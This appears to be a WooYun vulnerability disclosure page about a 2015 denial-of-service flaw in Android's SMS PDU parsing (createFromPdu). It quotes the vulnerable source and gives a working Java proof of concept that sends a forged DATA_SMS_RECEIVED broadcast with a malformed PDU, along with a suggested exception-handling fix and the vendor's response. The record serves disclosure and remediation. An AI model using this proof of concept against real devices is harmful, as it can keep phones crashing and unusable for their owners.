当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128652

漏洞标题:安卓未处理异常漏洞导致手机可持续被DoS攻击

相关厂商:Google

漏洞作者: 0xseven

提交时间:2015-07-26 14:32

修复时间:2015-10-27 09:34

公开时间:2015-10-27 09:34

漏洞类型:拒绝服务

危害等级:中

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-26: 细节已通知厂商并且等待厂商处理中
2015-07-29: 厂商已经确认,细节仅向厂商公开
2015-08-01: 细节向第三方安全合作伙伴开放
2015-09-22: 细节向核心白帽子及相关领域专家公开
2015-10-02: 细节向普通白帽子公开
2015-10-12: 细节向实习白帽子公开
2015-10-27: 细节向公众公开

简要描述:

安卓代码包括最新5.1.1存在未处理异常漏洞,导致手机可被恶意APP持续DoS攻击而无法使用

详细说明:

安卓开放API:createFromPdu 未正确处理内部函数异常检测,用户可以构造任意PDU数据导致内调函数异常返回null数据并被包装为正常SmsMessage对象供后续使用,导致任意对该API调用的程序产生潜在DoS攻击风险。

public static SmsMessage createFromPdu(byte[] pdu, String format) {
SmsMessageBase wrappedMessage;
if (SmsConstants.FORMAT_3GPP2.equals(format)) {
wrappedMessage = com.android.internal.telephony.cdma.SmsMessage.createFromPdu(pdu);
} else if (SmsConstants.FORMAT_3GPP.equals(format)) {
wrappedMessage = com.android.internal.telephony.gsm.SmsMessage.createFromPdu(pdu);
} else {
Rlog.e(LOG_TAG, "createFromPdu(): unsupported message format " + format);
return null;
}
return new SmsMessage(wrappedMessage);
}

漏洞证明:

Intent intentSent = new Intent("android.intent.action.DATA_SMS_RECEIVED", null);
intentSent.setData(Uri.parse("sms://localhost:7275"));
int pducount = 3;
int index = 0;
Object[] epdu = new Object[pducount];
while(index < pducount){
byte[] pdu = {00, 02, 00, 02, 10, 65, 61, 60, 80, 90, 25, 12, 23, 61, 60, 80, 01, 25, 12, 23, 00};
Object[] item = new Object[pdu.length];
int i = 0;
for(byte b :pdu) item[i++] = b;
epdu[index] = pdu;
index ++;
}
intentSent.putExtra("pdus", epdu);
intentSent.putExtra("format", "3gpp");
intentSent.putExtra("subscription", 1);

sendBroadcast(intentSent);

修复方案:

调用者增加异常捕获即可

try{
checkSmsSuplInit(intent);
}catch(ClassCastException e){
Log.e(TAG, "Malformed SMS message data");
}


版权声明:转载请注明来源 0xseven@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-29 09:33

厂商回复:

CNVD确认所述情况,已由CNVD通过软件生产厂商(或网站管理方)公开联系渠道向其邮件(和电话)通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无